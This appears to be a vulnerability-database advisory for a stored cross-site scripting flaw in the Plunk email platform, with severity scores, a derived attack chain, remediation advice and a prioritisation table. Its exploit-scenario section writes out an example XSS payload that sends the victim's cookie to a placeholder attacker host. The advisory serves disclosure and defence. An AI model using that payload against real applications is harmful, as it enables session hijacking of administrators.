Skip to main content

Plunk CVE-2026-42192

| EUVDEUVD-2026-28831 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-08 GitHub_M
5.4
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker authenticates as low-privilege member
  2. Delivery
    Craft malicious HTML/JS payload in campaign email body
  3. Exploit
    Payload persisted to Plunk database
  4. Install
    Admin navigates to campaign view in dashboard
  5. C2
    dangerouslySetInnerHTML renders stored payload without sanitization
  6. Execute
    Malicious script executes in admin browser context
  7. Impact
    Admin session token or credentials exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold an authenticated project member account on the target Plunk instance - unauthenticated external parties cannot submit campaign content. A victim with admin or member-level dashboard access must actively navigate to view the affected campaign (UI:R per CVSS), which is a routine administrative action requiring no social engineering beyond the campaign existing. The scope change (S:C) means injected scripts execute in the victim's browser context rather than isolated to the attacker's own session, enabling cross-account impact. No non-default configuration, special deployment mode, or specific platform version beyond 'Plunk < 0.9.0' is required - any default multi-user deployment where members can create campaigns is susceptible. Limiting factors: the attacker must have a valid member account, and the attack is non-automatable (SSVC) since it depends on a privileged user voluntarily viewing the campaign.

Impact

The CVSS 5.4 (Medium) vector AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N accurately captures a network-reachable stored XSS requiring a low-privileged authenticated account, victim interaction, and yielding cross-context (scope-changed) impact on confidentiality and integrity. Real-world urgency is further modulated by multiple converging signals: EPSS at 0.03% (8th percentile) indicates very low exploitation probability relative to the broader CVE population; CISA SSVC explicitly notes exploitation status as 'none' and flags it as non-automatable with only partial technical impact. No KEV listing and no identified public POC are consistent with these low-signal readings. The principal threat is a malicious or compromised insider - a project member - escalating influence to admin-level session control; this is a meaningful but targeted internal risk rather than a mass-exploitation scenario. No conflicting signals are present between data sources.

Exploit ScenarioDerived

A lower-privileged project member crafts a campaign email body containing a JavaScript payload - for example, an <img onerror='fetch("https://attacker.io/steal?c="+document.cookie)'> tag - and saves it as a campaign. When an administrator later opens the campaign preview in the admin dashboard, the stored payload executes in the admin's browser session, exfiltrating the session token to an attacker-controlled server. No public proof-of-concept has been identified, but the technique requires only basic XSS knowledge and is trivial to execute given write access to the campaign editor.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 23, 2026

Stored XSS in Plunk's campaign management feature allows authenticated project members with lower privileges to inject malicious scripts into email body content that subsequently executes in the browser session of any admin or peer member who views the campaign in the admin dashboard. The root cause is React's dangerouslySetInnerHTML API rendering unsanitized user-supplied HTML, bypassing React's built-in XSS protections. No active exploitation is confirmed (not in CISA KEV, EPSS at 0.03%), and a vendor-released patch exists in v0.9.0 integrating DOMPurify; however, the insider privilege-escalation threat model - member to admin - makes patching a meaningful priority for multi-user deployments.

RemediationAI

Upgrade to Plunk v0.9.0, which integrates DOMPurify to sanitize HTML content before it is passed to dangerouslySetInnerHTML, directly eliminating the root cause; the release is available at https://github.com/useplunk/plunk/releases/tag/v0.9.0 and the fix is confirmed by commit bf12392. If immediate upgrade is not feasible, restrict campaign creation permissions to fully trusted admin-level accounts only, removing 'member' role access to the campaign editor - note this degrades collaborative workflow and may not be granular depending on Plunk's RBAC implementation. As an additional precaution prior to patching, audit existing campaign bodies for <script> tags, javascript: URIs, or inline event handlers (onload, onerror, etc.) that may have already been injected.

Affected VersionsENISA

plunk < 0.9.0

Affected Packages

euvd plunk fix: 0.9.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Plunk is an open-source self-hosted email marketing platform built on AWS SES (CPE: cpe:2.3:a:useplunk:plunk). The vulnerability class is CWE-79 (Improper Neutralization of Input During Web Page Generation - Stored XSS). React's dangerouslySetInnerHTML is a deliberate escape hatch that injects raw HTML strings directly into the DOM, explicitly bypassing React's automatic output encoding. When campaign email body content - submitted by lower-privileged members - is stored in the database and later retrieved for rendering in the admin dashboard via this API without sanitization, any embedded script tags or event-handler attributes execute in the viewer's browser context. The v0.9.0 fix integrates DOMPurify (confirmed in release commit bf12392), a standard DOM sanitization library that strips malicious markup prior to rendering.

Know when Plunk gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

Campaign submission is network-delivered with no complexity; PR:L reflects required member account; UI:R and S:C capture admin-viewer interaction triggering cross-context script execution.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch available
May 08, 2026 - 23:18 EUVD
CVE Published
May 08, 2026 - 21:13 nvd
MEDIUM 5.4

DescriptionCVE.org

Plunk is an open-source email platform built on top of AWS SES. Prior to version 0.9.0, a stored cross-site scripting (XSS) vulnerability exists in the campaign management feature, where the email body content created by authenticated project members is stored and later rendered in the admin dashboard using React's dangerouslySetInnerHTML without any HTML sanitization. This allows a lower-privileged member to embed malicious scripts in a campaign's email body that execute in the context of any admin or other member who views the campaign, potentially enabling session hijacking or unauthorized actions on their behalf. This issue has been patched in version 0.9.0.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Prevalence
Low
niche open-source email platform, limited enterprise adoption
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy